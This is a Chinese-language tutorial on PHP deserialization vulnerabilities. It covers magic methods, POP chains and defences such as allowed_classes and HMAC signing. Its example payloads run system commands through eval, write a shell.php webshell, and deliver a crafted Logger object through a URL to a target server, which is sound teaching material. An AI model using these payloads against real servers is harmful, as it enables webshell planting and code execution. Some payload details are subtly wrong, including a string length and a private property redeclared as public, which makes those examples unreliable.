一、PHP序列化与反序列化基础
1. 序列化(serialize)
将PHP对象或数据结构转换为字符串,便于存储或传输。
php
class User { public $name = "Alice"; private $role = "admin"; } $obj = new User(); echo serialize($obj); // 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}
2. 反序列化(unserialize)
将序列化字符串还原为PHP对象或数据结构。
php
$data = 'O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}'; $obj = unserialize($data); echo $obj->name; // 输出:Alice
3. 魔术方法(Magic Methods)
反序列化时会自动触发的特殊方法:
__wakeup()
:反序列化时调用。__destruct()
:对象销毁时调用。__toString()
:对象被当作字符串使用时调用。漏洞核心:攻击者通过控制反序列化数据,触发魔术方法中的危险操作。
二、PHP反序列化漏洞原理
1. 漏洞成因
当程序反序列化用户可控的数据且存在以下条件:
类中定义了可被利用的魔术方法(如
__destruct
中执行文件删除)。类属性可控,导致代码执行或敏感操作。
2. 漏洞利用链(POP Chain)
通过构造特定对象,触发多个魔术方法形成利用链,例如: unserialize() → __wakeup() → 调用某方法 → __toString() → 执行系统命令
三、常见漏洞类型与利用
1. 直接代码执行
php
class Exploit { public $cmd = "system('whoami');"; function __destruct() { eval($this->cmd); } } $payload = serialize(new Exploit()); unserialize($payload); // 触发eval执行系统命令
2. 文件操作(写入Webshell)
php
class FileHandler { public $filename = "shell.php"; public $content = "<?php phpinfo(); ?>"; function __destruct() { file_put_contents($this->filename, $this->content); } } // 生成Payload:O:11:"FileHandler":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:17:"<?php phpinfo(); ?>";}
3. 利用内置类的危险方法
SoapClient:SSRF漏洞(需开启
ext-soap
扩展)。SimpleXMLElement:XXE漏洞。
Phar反序列化:通过Phar协议触发反序列化。
四、POP链构造实战
1. 靶场示例(DVWA)
假设存在以下代码:
php
class Logger { private $logFile; function __construct($file) { $this->logFile = $file; } function __destruct() { file_put_contents($this->logFile, "Log saved."); } } $data = unserialize($_GET['data']);
2. 构造Payload
php
class Logger { public $logFile = "shell.php"; } $payload = serialize(new Logger()); // 输出:O:6:"Logger":1:{s:6:"logFile";s:9:"shell.php";}
访问URL: http://target.com/vuln.php?data=O:6:"Logger":1:{s:6:"logFile";s:9:"shell.php";}
触发后会在服务器生成shell.php
文件。
五、防御措施
1. 输入过滤
避免反序列化用户输入的不可信数据。
使用
json_encode()
/json_decode()
替代序列化。
2. 魔术方法安全设计
避免在
__wakeup
、__destruct
等方法中执行危险操作。对反序列化的类属性进行严格校验。
3. 白名单限制
使用
allowed_classes
参数限制反序列化的类:
php
unserialize($data, ["allowed_classes" => ["SafeClass"]]);
4. 签名验证
对序列化数据添加HMAC签名,验证数据完整性。